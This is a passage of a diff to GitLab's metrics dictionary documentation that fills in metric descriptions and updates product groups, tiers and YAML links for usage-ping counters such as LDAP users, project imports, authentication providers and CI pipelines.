-Number of LDAP servers configured for the instance `https://docs.gitlab.com/ee/administration/auth/ldap/#multiple-ldap-servers`
+Number of [LDAP servers configured for the instance](https://docs.gitlab.com/ee/administration/auth/ldap/#multiple-ldap-servers)
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180807_ldap_servers.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage.manage.ldap_users`
-Missing description
+Number of users that are linked to LDAP
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180801_ldap_users.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180801_ldap_users.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage.manage.omniauth_providers`
-Missing description
+Number of unique user logins using an OmniAuth provider
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183400_omniauth_providers.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.project_imports.bitbucket`
@@ -16366,7 +16594,7 @@ Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.project_imports.bitbucket_server`
@@ -16378,7 +16606,7 @@ Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.project_imports.git`
@@ -16390,7 +16618,7 @@ Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.project_imports.gitea`
@@ -16402,7 +16630,7 @@ Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.project_imports.github`
@@ -16414,7 +16642,7 @@ Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.project_imports.gitlab`
@@ -16426,7 +16654,7 @@ Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.project_imports.gitlab_migration`
@@ -16438,7 +16666,7 @@ Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.project_imports.gitlab_project`
@@ -16450,7 +16678,7 @@ Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.project_imports.manifest`
@@ -16462,7 +16690,19 @@ Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.total`
+
+Count number of projects imported monthly
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210514141520_project_imports_total.yml)
+
+Group: `group::import`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.projects_imported.bitbucket`
@@ -16598,87 +16838,87 @@ Tiers: `free`
### `usage_activity_by_stage.manage.user_auth_by_provider.google_oauth2`
-Missing description
+Number of unique user logins using Google OAuth authentication
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183410_google_oauth2.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.user_auth_by_provider.standard`
-Missing description
+Number of unique user logins using password authentication
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183408_standard.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.user_auth_by_provider.two-factor`
-Missing description
+Number of unique user logins using two factor authentication
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183402_two-factor.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-u2f-device`
-Missing description
+Number of unique user logins using two factor via a U2F device
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-webauthn-device`
-Missing description
+Number of unique user logins using two factor via a WebAuthn device
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.users_created`
-Missing description
+Number of users
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180758_users_created.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.value_stream_management_customized_group_stages`
-Missing description
+Number of custom value stream analytics stages.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180803_value_stream_management_customized_group_stages.yml)
-Group: `group::manage`
+Group: `group::optimize`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage.monitor.clusters`
@@ -16804,7 +17044,7 @@ Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.package.projects_with_packages`
-Projects with package registry configured
+Projects with package registry enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181055_projects_with_packages.yml)
@@ -16812,7 +17052,7 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.plan.assignee_lists`
@@ -17000,7 +17240,7 @@ Count creator_id from projects with repository mirroring enabled.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181934_projects_mirrored_with_pipelines_enabled.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -17080,7 +17320,7 @@ Tiers:
### `usage_activity_by_stage.secure.dependency_scanning_scans`
-Counts dependency scanning jobs
+Total number of users running Dependency Scanning Scans
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175220_dependency_scanning_scans.yml)
@@ -17176,7 +17416,7 @@ Tiers: `free`
### `usage_activity_by_stage.secure.user_dependency_scanning_jobs`
-no idea, Count of Dependency Scanning jobs run, it implies user but AFAIK we don't track per user
+Total number of users running Dependency Scanning jobs
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175216_user_dependency_scanning_jobs.yml)
@@ -17188,9 +17428,9 @@ Tiers: `ultimate`
### `usage_activity_by_stage.secure.user_license_management_jobs`
-no idea, Count of License Scanning jobs run, it implies user but AFAIK we don't track per user
+Total number of users running License Scanning jobs
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210216175218_user_license_management_jobs.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175218_user_license_management_jobs.yml)
Group: `group::composition analysis`
@@ -17200,7 +17440,7 @@ Tiers: `ultimate`
### `usage_activity_by_stage.secure.user_preferences_group_overview_security_dashboard`
-Users who set personal preference to see Details on Group overview page
+Users who set personal preference to see Details on Group information page
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml)
@@ -17252,7 +17492,7 @@ Unique count of builds in project
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175525_ci_builds.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -17264,7 +17504,7 @@ Total pipelines in external repositories
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -17276,7 +17516,7 @@ Total pipelines in GitLab repositories
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -17300,7 +17540,7 @@ Total Pipelines from templates in repository
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -17312,7 +17552,7 @@ Pipeline schedules in GitLab
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -17324,7 +17564,7 @@ Distinct Users triggering Total pipelines
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175537_ci_pipelines.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -17336,7 +17576,7 @@ Total configured Triggers in project
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175539_ci_triggers.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -17360,7 +17600,7 @@ Projects with a GitHub service pipeline enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175540_projects_reporting_ci_cd_back_to_github.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -17590,21 +17830,21 @@ Projects with Prometheus alerting enabled
Group: `group::monitor`
-Status: `data_available`
+Status: `removed`
Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.action_monthly_active_users_design_management`
-Missing description
+Monthly active users for design management
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml)
-Group: `group::knowledge`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.action_monthly_active_users_git_write`
@@ -17620,7 +17860,7 @@ Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.action_monthly_active_users_ide_edit`
-Count unique edit actions when users used an IDE, no matter which one
+Number of unique users per month who edited a file from any web editor
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml)
@@ -17628,7 +17868,7 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.action_monthly_active_users_project_repo`
@@ -17644,7 +17884,7 @@ Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.action_monthly_active_users_sfe_edit`
-Count unique edit actions using the single file editor
+Number of users using single file editor
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml)
@@ -17652,11 +17892,11 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.action_monthly_active_users_snippet_editor_edit`
-Count unique edit actions using the snippet editor
+Number of users using the snippet editor
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml)
@@ -17664,11 +17904,11 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.action_monthly_active_users_sse_edit`
-Count unique edit actions using the static site editor
+Number of users using the static site editor
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml)
@@ -17676,11 +17916,11 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.action_monthly_active_users_web_ide_edit`
-Count unique edit actions using the web IDE
+Number of users editing using web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml)
@@ -17688,19 +17928,19 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.action_monthly_active_users_wiki_repo`
-Missing description
+Unique monthly active users of the Wiki
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml)
-Group: `group::knowledge`
+Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.approval_project_rules`
@@ -17956,7 +18196,7 @@ Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.create.snippets`
-Monthly Snippets
+Count of distinct author_id from snippets for last 28 days
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180317_snippets.yml)
@@ -18034,7 +18274,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -18062,6 +18302,18 @@ Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage_monthly.manage.custom_compliance_frameworks`
+
+Monthly count of all custom compliance framework labels
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210507165054_custom_compliance_frameworks.yml)
+
+Group: `compliance`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
### `usage_activity_by_stage_monthly.manage.events`
Missing description
@@ -18088,39 +18340,39 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.manage.group_imports.group_import`
-Missing description
+Number of group import states
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183709_group_import.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.group_saml_enabled`
-Missing description
+Whether group SAML is enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180833_group_saml_enabled.yml)
-Group: `group::manage`
+Group: `group:access`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.groups`
-Missing description
+Number of users who are group members for last 28 days
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180816_groups.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.groups_imported`
@@ -18128,7 +18380,7 @@ Missing description
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183737_groups_imported.yml)
-Group: ``
+Group: `group::import`
Status: `deprecated`
@@ -18232,43 +18484,43 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.manage.ldap_admin_sync_enabled`
-Missing description
+Whether LDAP admin sync is enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180831_ldap_admin_sync_enabled.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.ldap_group_sync_enabled`
-Missing description
+Has the instance configured [LDAP Group Sync](https://docs.gitlab.com/ee/administration/auth/ldap/#group-sync)
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180829_ldap_group_sync_enabled.yml)
-Group: `group::manage`
+Group: `group::acess`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.ldap_keys`
-Missing description
+Number of users creating keys synced as part of LDAP for last 28 days.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180820_ldap_keys.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180820_ldap_keys.yml)
-Group: `group::manage`
+Group: `group::acess`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.ldap_servers`
-Missing description
+Number of LDAP servers configured
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180827_ldap_servers.yml)
@@ -18276,103 +18528,103 @@ Group: `group::manage`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.ldap_users`
-Missing description
+Number of users that are linked to LDAP
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180822_ldap_users.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180822_ldap_users.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.omniauth_providers`
-Missing description
+Number of unique user logins using an OmniAuth provider
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183627_omniauth_providers.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.project_imports.bitbucket`
-Missing description
+Count of projects imported from Bitbucket
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183650_bitbucket.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.project_imports.bitbucket_server`
-Missing description
+Count of projects imported from Bitbucket Server
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183652_bitbucket_server.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.project_imports.git`
-Missing description
+Count of projects imported from Git
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183655_git.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.project_imports.gitea`
-Missing description
+Count of projects imported from Gitea
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183653_gitea.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.project_imports.github`
-Missing description
+Count of projects imported from GitHub
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183648_github.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.project_imports.gitlab`
-Missing description
+Count of projects imported from GitLab using Project Export/Import
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183646_gitlab.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.project_imports.gitlab_migration`
@@ -18380,11 +18632,11 @@ Missing description
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183659_gitlab_migration.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.project_imports.gitlab_project`
@@ -18392,11 +18644,11 @@ Missing description
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183644_gitlab_project.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.project_imports.manifest`
@@ -18404,35 +18656,47 @@ Missing description
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183657_manifest.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.total`
+
+Total count of projects imported
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210520111133_total.yml)
+
+Group: `group::import`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.projects_imported.bitbucket`
-Missing description
+Count of projects imported from Bitbucket
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183720_bitbucket.yml)
-Group: ``
+Group: `group::import`
Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.projects_imported.bitbucket_server`
-Missing description
+Count of projects imported from Bitbucket Server
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183722_bitbucket_server.yml)
-Group: ``
+Group: `group::import`
Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.projects_imported.git`
@@ -18532,75 +18796,75 @@ Tiers:
### `usage_activity_by_stage_monthly.manage.unique_users_all_imports`
-Missing description
+Number of users from projects imported
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml)
-Group: ``
+Group: `group::import`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.google_oauth2`
-Missing description
+Number of unique user logins using Google OAuth authentication
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183636_google_oauth2.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.standard`
-Missing description
+Number of unique user logins using password authentication
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183634_standard.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor`
-Missing description
+Number of unique user logins using two factor authentication
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183629_two-factor.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-u2f-device`
-Missing description
+Number of unique user logins using two factor via a U2F device
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-webauthn-device`
-Missing description
+Number of unique user logins using two factor via a WebAuthn device
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml)
-Group: ``
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.users_created`
@@ -18608,11 +18872,11 @@ Number of users created in the month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180818_users_created.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.manage.value_stream_management_customized_group_stages`
@@ -18736,7 +19000,7 @@ Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.package.projects_with_packages`
-Incident confidential status changed event
+The total number of projects in a given month with at least one package
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181057_projects_with_packages.yml)
@@ -18744,7 +19008,7 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage_monthly.plan.assignee_lists`
@@ -18932,7 +19196,7 @@ Count creator_id from projects with repository mirroring enabled.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181943_projects_mirrored_with_pipelines_enabled.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -19060,7 +19324,7 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.secure.dependency_scanning_pipeline`
-no idea, what is this when did it get added? guess pipelines containing a DS job
+Count of pipelines with successful Dependency Scanning jobs
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175226_dependency_scanning_pipeline.yml)
@@ -19072,15 +19336,15 @@ Tiers: `ultimate`
### `usage_activity_by_stage_monthly.secure.dependency_scanning_scans`
-Missing description
+Monthly number of users running Dependency Scanning Scans
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183828_dependency_scanning_scans.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183828_dependency_scanning_scans.yml)
-Group: ``
+Group: `group::composition analysis`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `usage_activity_by_stage_monthly.secure.sast_pipeline`
@@ -19192,7 +19456,7 @@ Tiers: `free`
### `usage_activity_by_stage_monthly.secure.user_dependency_scanning_jobs`
-no idea, Count of Dependency Scanning jobs run, it implies user and monthly, but AFAIK we don't track per user
+Monthly number of users creating Dependency Scanning jobs
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175222_user_dependency_scanning_jobs.yml)
@@ -19204,9 +19468,9 @@ Tiers: `ultimate`
### `usage_activity_by_stage_monthly.secure.user_license_management_jobs`
-no idea, Count of License Scanning jobs run, it implies user and monthly, but AFAIK we don't track per user
+Monthly number of users running License Scanning jobs
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210216175224_user_license_management_jobs.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175224_user_license_management_jobs.yml)
Group: `group::composition analysis`
@@ -19216,7 +19480,7 @@ Tiers: `ultimate`
### `usage_activity_by_stage_monthly.secure.user_preferences_group_overview_security_dashboard`
-Users who set personal preference to see Security Dashboard on Group overview page
+Users who set personal preference to see Security Dashboard on Group information page
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml)
@@ -19268,7 +19532,7 @@ Unique monthly builds in project
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175542_ci_builds.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -19280,7 +19544,7 @@ Total pipelines in external repositories in a month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -19292,7 +19556,7 @@ Total pipelines in GitLab repositories in a month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -19316,7 +19580,7 @@ Total Monthly Pipelines from templates in repository
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -19328,7 +19592,7 @@ Total monthly Pipeline schedules in GitLab
